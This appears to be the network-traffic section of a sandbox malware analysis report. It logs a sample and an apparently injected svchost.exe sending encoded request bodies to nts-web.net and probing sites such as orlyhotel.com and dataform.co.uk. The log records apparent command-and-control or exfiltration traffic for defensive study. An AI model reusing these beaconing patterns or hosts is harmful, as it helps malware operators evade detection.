2023-03-10 06:56:22 UTC	1589	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 5076
2023-03-10 06:56:22 UTC	1589	OUT	Data Raw: 7a 4a 55 35 71 70 4f 63 6f 4b 53 6e 71 71 79 76 73 72 57 34 75 37 37 42 78 63 68 6c 51 77 2f 6a 35 33 33 70 4d 6b 58 58 74 5a 4a 62 47 6f 6c 36 69 38 35 37 62 35 31 6a 67 4e 6e 6e 4d 47 49 70 50 2f 42 52 42 4f 73 57 30 75 4b 51 4b 30 4e 5a 32 68 77 58 59 78 6b 76 2f 30 4f 74 4c 4e 48 35 4c 4a 64 43 65 32 71 69 54 4c 30 33 4d 4e 37 49 6a 71 51 4f 47 79 57 38 75 31 58 44 6f 63 4c 74 41 45 44 75 41 4b 73 57 6c 4c 34 32 66 6b 7a 4c 4e 5a 69 66 66 79 30 72 39 53 5a 4d 59 78 77 50 46 49 30 34 6e 69 43 4f 72 43 64 64 6f 44 65 4f 50 6f 78 4e 44 51 74 5a 30 47 2f 57 2f 48 43 6c 4b 74 2f 59 70 6e 6a 6a 64 59 74 61 61 61 59 52 34 68 41 4d 4c 6f 70 70 69 35 48 56 63 74 35 36 51 69 58 48 6c 57 6a 6c 58 61 6e 42 51 37 7a 6e 76 6c 65 63 4d 63 6b 63 6d 79 44 63 74 63 62 Data Ascii: zJU5qpOcoKSnqqyvsrW4u77BxchlQw/j533pMkXXtZJbGol6i857b51jgNnnMGIpP/BRBOsW0uKQK0NZ2hwXYxkv/0OtLNH5LJdCe2qiTL03MN7IjqQOGyW8u1XDocLtAEDuAKsWlL42fkzLNZiffy0r9SZMYxwPFI04niCOrCddoDeOPoxNDQtZ0G/W/HClKt/YpnjjdYtaaaYR4hAMLoppi5HVct56QiXHlWjlXanBQ7znvlecMckcmyDctcb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	58257	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:22 UTC	1594	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 4272
2023-03-10 06:56:22 UTC	1594	OUT	Data Raw: 75 6d 55 66 34 45 52 4e 55 31 68 65 59 57 56 70 62 48 42 30 64 33 74 2f 67 6f 56 4f 68 50 50 39 78 7a 52 73 72 59 43 67 58 37 6d 33 35 41 2b 39 4e 79 66 38 39 52 4f 57 70 66 41 31 69 6e 4a 2b 49 41 4a 33 55 56 38 46 71 69 34 31 63 58 66 75 77 7a 30 38 42 52 63 48 62 67 6e 43 51 58 31 76 39 31 73 70 46 6b 75 59 50 39 4e 56 6c 78 58 55 32 56 6e 49 39 50 66 70 74 2f 43 65 56 6f 48 38 6f 56 66 50 70 63 30 33 68 41 66 4c 4e 50 68 52 53 67 56 31 4a 6b 4b 32 41 79 44 68 6f 66 2f 49 39 5a 66 59 4b 46 64 73 66 77 36 46 31 74 55 45 53 6c 31 48 4e 43 4d 66 44 64 37 62 66 2f 73 67 53 6c 55 6c 45 50 41 35 78 44 37 78 6f 4b 69 4f 2f 52 43 58 5a 2b 74 6b 59 4f 43 45 32 52 4d 30 55 4d 44 30 78 36 59 55 39 6d 2b 64 6c 41 38 6d 7a 50 33 72 63 52 4c 32 72 63 70 61 4b 4a 66 Data Ascii: umUf4ERNU1heYWVpbHB0d3t/goVOhPP9xzRsrYCgX7m35A+9Nyf89ROWpfA1inJ+IAJ3UV8Fqi41cXfuwz08BRcHbgnCQX1v91spFkuYP9NVlxXU2VnI9Pfpt/CeVoH8oVfPpc03hAfLNPhRSgV1JkK2AyDhof/I9ZfYKFdsfw6F1tUESl1HNCMfDd7bf/sgSlUlEPA5xD7xoKiO/RCXZ+tkYOCE2RM0UMD0x6YU9m+dlA8mzP3rcRL2rcpaKJf

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	58986	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:23 UTC	1647	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:23 UTC	1647	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:23 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:27 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:27 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=L9m1JHdkg9zmNSvC3MD56R0THilW9senDrG1EDrBpIpyZUnNpkx0A93DoqCrJl2zVObSW1aH31aFZPyOkZNvz1ZIO3kPfmfrB%2FikGAXz7zXWMZjXgnvlYdlYAfGQdRRf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8505b173604-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:23 UTC	1648	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:23 UTC	1648	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	58790	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:24 UTC	1648	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 3856
2023-03-10 06:56:24 UTC	1648	OUT	Data Raw: 69 57 73 2f 68 5a 79 6d 71 61 75 74 73 4c 4b 30 74 37 6d 38 78 4d 6a 4c 7a 74 47 36 79 32 44 65 5a 76 65 52 4c 6a 79 7a 44 42 72 2b 66 56 6d 71 31 74 6d 63 30 64 6f 62 53 4c 57 34 55 73 5a 4d 63 71 37 52 5a 2f 61 47 69 76 70 79 66 78 64 67 32 74 74 5a 52 49 56 32 42 38 4f 6c 7a 79 59 61 31 34 48 4f 79 61 49 59 41 75 67 4e 78 77 68 2f 4c 34 4f 4c 45 73 30 53 56 7a 37 34 62 34 43 2f 6f 48 4c 71 79 48 66 68 6c 32 53 78 57 7a 4e 4a 53 31 73 57 43 46 4b 39 44 32 37 69 45 44 52 48 73 75 67 66 35 4f 7a 7a 50 50 70 59 64 48 58 37 78 45 2b 4b 44 50 6c 72 32 78 75 64 77 6d 66 6d 52 37 34 6a 77 66 56 71 58 45 33 43 6e 6c 76 69 30 6f 50 42 4d 69 4e 49 66 2f 63 79 37 4d 51 54 52 5a 55 39 45 77 44 63 44 71 46 4c 46 44 42 6b 59 51 64 2f 70 65 52 33 46 64 77 68 2f 6c 62 Data Ascii: iWs/hZymqautsLK0t7m8xMjLztG6y2DeZveRLjyzDBr+fVmq1tmc0dobSLW4UsZMcq7RZ/aGivpyfxdg2ttZRIV2B8OlzyYa14HOyaIYAugNxwh/L4OLEs0SVz74b4C/oHLqyHfhl2SxWzNJS1sWCFK9D27iEDRHsugf5OzzPPpYdHX7xE+KDPlr2xudwmfmR74jwfVqXE3Cnlvi0oPBMiNIf/cy7MQTRZU9EwDcDqFLFDBkYQd/peR3Fdwh/lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	59457	104.21.48.207	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:24 UTC	1652	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com Cookie: django_language=en
2023-03-10 06:56:24 UTC	1652	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:28 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:28 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EGymfG%2BkQNyYbV5dg8v8VQW5nPJQ2KUf0k7jeZjvrDmJekKzGNzM0HQ2n2ln7Yj9GQCBC7KZqg22IZyNKexLELQKwUGiGdJaRTiT2xct40haTMHV7vewHFTwwIw%2BuFWY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a85759435bf5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:24 UTC	1653	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:24 UTC	1653	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	59807	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:24 UTC	1653	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	59782	49.212.235.175	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1653	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: nts-web.net Content-Length: 5372
2023-03-10 06:56:25 UTC	1653	OUT	Data Raw: 70 59 43 48 36 61 32 31 75 4c 71 38 76 73 48 44 78 63 6a 4b 7a 4d 2f 52 30 39 57 52 32 6f 4b 4c 36 4e 57 2f 46 36 6a 2f 50 38 76 49 6d 4c 43 32 76 61 6c 5a 5a 74 57 43 6b 4a 30 71 75 48 4e 66 50 58 69 77 77 54 65 2f 77 62 6f 38 47 46 68 55 41 6d 43 51 33 4d 43 61 69 42 6a 78 65 7a 52 4c 5a 53 63 59 38 47 57 6d 7a 41 5a 32 4c 4b 75 45 51 30 75 4c 44 35 2f 71 76 4d 64 56 6a 77 37 54 62 34 37 70 4c 70 6e 6c 57 31 75 37 4d 74 78 42 69 53 62 34 4a 55 68 41 5a 59 72 6f 6d 6e 65 54 35 77 33 51 69 78 76 4b 43 4a 37 4e 79 50 32 73 5a 6b 47 33 70 6c 32 79 46 30 38 75 43 66 72 4c 4c 63 6c 7a 54 63 44 77 77 31 69 32 74 5a 59 4c 31 4e 43 4d 45 4c 41 61 71 4d 6f 6d 74 56 65 34 47 73 50 48 6b 63 43 50 4d 4b 62 4a 73 66 4f 34 35 76 44 33 64 38 67 51 4c 79 36 33 61 4a 61 Data Ascii: pYCH6a21uLq8vsHDxcjKzM/R09WR2oKL6NW/F6j/P8vImLC2valZZtWCkJ0quHNfPXiwwTe/wbo8GFhUAmCQ3MCaiBjxezRLZScY8GWmzAZ2LKuEQ0uLD5/qvMdVjw7Tb47pLpnlW1u7MtxBiSb4JUhAZYromneT5w3QixvKCJ7NyP2sZkG3pl2yF08uCfrLLclzTcDww1i2tZYL1NCMELAaqMomtVe4GsPHkcCPMKbJsfO45vD3d8gQLy63aJa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	60599	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1658	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:25 UTC	1658	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:25 UTC	1659	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	60919	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1659	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:25 UTC	1659	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:25 UTC	1659	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.6	52650	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	149	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:14 UTC	160	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:14 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yXgslH5jaHN5inlQavW1DDJ%2FGyxnFN4oGzDml7JdMJC6BI9Wdwf9RfYI4IxuARuz9cNFpT%2F77STuN4ICFL6MYVWCv%2FJ9670CJ9IgUapUBKzerrz2bliuu1NM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8178dd235df-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:14 UTC	161	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:14 UTC	161	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.6	61059	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:25 UTC	1660	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
2023-03-10 06:56:25 UTC	1660	IN	HTTP/1.1 403 Forbidden Date: Fri, 10 Mar 2023 06:56:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Permissions-Policy: accelerometer=(),autoplay=(),camera=(),clipboard-read=(),clipboard-write=(),fullscreen=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=7jaPyjwLjpx7mFuLUb16%2Bs1OcRqz45TnLT8x9Thtw5ApsCJwlUk1cjfH5p%2FLc4oZ0kCjQC85guarrRVvz43cKI9z8AmHj3m6JQJfn5iRTmv5wxqyARc2PYW7LPag"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a85f4a71928f-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:25 UTC	1661	IN	Data Raw: 31 65 61 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 Data Ascii: 1ea7<!DOCTYPE html><html lang="en-US"><head> <title>Just a moment...</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=Edge"> <meta name="robots" content="noindex
2023-03-10 06:56:25 UTC	1661	IN	Data Raw: 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 77 72 61 70 70 65 72 22 20 72 6f 6c 65 3d 22 6d 61 69 6e 22 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 63 6c 61 73 73 3d 22 7a 6f 6e 65 2d 6e 61 6d 65 2d 74 69 74 6c 65 20 68 31 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 63 6c 61 73 Data Ascii: ,initial-scale=1"> <link href="/cdn-cgi/styles/challenges.css" rel="stylesheet"> </head><body class="no-js"> <div class="main-wrapper" role="main"> <div class="main-content"> <h1 class="zone-name-title h1"> <img clas
2023-03-10 06:56:25 UTC	1663	IN	Data Raw: 22 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 66 5f 74 6b 3d 62 48 6c 7a 58 37 38 65 36 46 55 6d 52 39 51 53 5f 4d 58 41 52 39 6c 31 46 6a 6f 59 71 5f 43 75 6c 43 4c 63 59 77 55 61 31 68 6f 2d 31 36 37 38 34 33 31 33 38 35 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 65 6e 63 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 6d 64 22 20 76 61 6c 75 65 3d 22 62 64 52 4b 4e 77 47 50 44 79 67 35 2e 66 30 64 56 51 46 30 4a 47 4e 79 67 68 39 45 4e 61 53 6e 44 64 2e 67 52 50 58 74 76 43 67 2d 31 36 37 38 34 33 31 33 38 35 2d 30 2d 41 55 Data Ascii: "/?__cf_chl_f_tk=bHlzX78e6FUmR9QS_MXAR9l1FjoYq_CulCLcYwUa1ho-1678431385-0-gaNycGzNCPs" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="md" value="bdRKNwGPDyg5.f0dVQF0JGNygh9ENaSnDd.gRPXtvCg-1678431385-0-AU
2023-03-10 06:56:25 UTC	1664	IN	Data Raw: 39 74 6c 62 47 30 57 44 7a 4c 6d 6c 75 36 51 6c 4c 6f 38 4b 56 6a 76 58 58 73 64 55 78 45 76 50 76 44 63 30 31 76 53 35 33 70 46 68 34 44 45 42 59 6c 58 30 72 6c 77 4d 6f 67 62 35 6a 36 78 76 6e 6e 79 61 62 4c 39 63 46 43 39 56 4c 56 43 79 5a 6d 34 75 4b 48 70 34 39 4a 43 6c 6e 6b 48 61 6b 45 77 63 44 33 6e 47 39 4c 77 41 45 53 35 52 55 49 4e 4f 67 68 71 79 42 73 5a 4f 46 4c 34 43 35 51 45 72 54 79 4b 30 49 53 31 6b 77 79 4c 42 5f 55 7a 62 43 75 34 37 51 6a 74 41 4f 4f 78 76 78 76 4f 77 77 71 30 56 53 44 65 42 77 62 78 48 75 65 58 6e 42 48 31 64 51 4b 46 34 6a 32 47 4b 53 72 64 34 4d 75 43 4c 61 78 35 47 5f 62 61 6e 2d 5f 63 37 62 69 48 43 70 37 39 55 6a 6a 56 47 39 36 4b 64 5a 4d 41 30 33 51 41 36 65 77 71 57 69 52 61 32 52 67 64 73 50 6d 4b 63 6f 64 36 Data Ascii: 9tlbG0WDzLmlu6QlLo8KVjvXXsdUxEvPvDc01vS53pFh4DEBYlX0rlwMogb5j6xvnnyabL9cFC9VLVCyZm4uKHp49JClnkHakEwcD3nG9LwAES5RUINOghqyBsZOFL4C5QErTyK0IS1kwyLB_UzbCu47QjtAOOxvxvOwwq0VSDeBwbxHueXnBH1dQKF4j2GKSrd4MuCLax5G_ban-_c7biHCp79UjjVG96KdZMA03QA6ewqWiRa2RgdsPmKcod6
2023-03-10 06:56:25 UTC	1665	IN	Data Raw: 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 48 61 73 68 3a 20 27 38 37 36 62 63 38 39 61 39 32 30 65 36 35 33 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 3f 5f 5f 63 66 5f 63 68 6c 5f 74 6b 3d 62 48 6c 7a 58 37 38 65 36 46 55 6d 52 39 51 53 5f 4d 58 41 52 39 6c 31 46 6a 6f 59 71 5f 43 75 6c 43 4c 63 59 77 55 61 31 68 6f 2d 31 36 37 38 34 33 31 33 38 35 2d 30 2d 67 61 4e 79 63 47 7a 4e 43 50 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 46 50 57 76 3a 20 27 67 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 54 69 6d 65 4d 73 3a 20 27 31 30 30 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 4d 54 69 6d 65 4d 73 3a 20 27 30 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 54 70 6c 56 3a 20 34 2c 0a 20 20 20 Data Ascii: ', cHash: '876bc89a920e653', cUPMDTk: "\/?__cf_chl_tk=bHlzX78e6FUmR9QS_MXAR9l1FjoYq_CulCLcYwUa1ho-1678431385-0-gaNycGzNCPs", cFPWv: 'g', cTTimeMs: '1000', cMTimeMs: '0', cTplV: 4,
2023-03-10 06:56:25 UTC	1667	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 69 32 3a 20 27 70 6f 59 65 74 71 54 77 70 71 31 71 69 35 59 66 79 37 6b 39 78 67 3d 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7a 68 3a 20 27 64 4c 68 39 34 5a 58 4c 73 4d 61 54 6f 47 44 33 2f 71 39 42 69 75 6d 61 63 36 79 78 51 56 55 5a 34 63 32 6a 74 34 59 4a 6e 61 55 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 68 3a 20 27 66 78 75 35 2f 69 51 76 50 2f 7a 6e 41 4c 39 38 63 46 50 70 7a 30 44 6a 72 6d 45 33 6f 34 34 57 4d 64 5a 72 36 61 5a 51 52 73 51 3d 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 68 3a 20 27 6a 57 32 78 52 42 73 71 57 31 76 4c 74 75 42 6f 6f 58 39 61 4b 6d 45 44 32 63 5a 68 41 4c 37 73 6b 44 59 49 30 4d 48 64 72 6c 6b 3d 27 2c 0a 20 20 20 20 20 20 20 Data Ascii: i2: 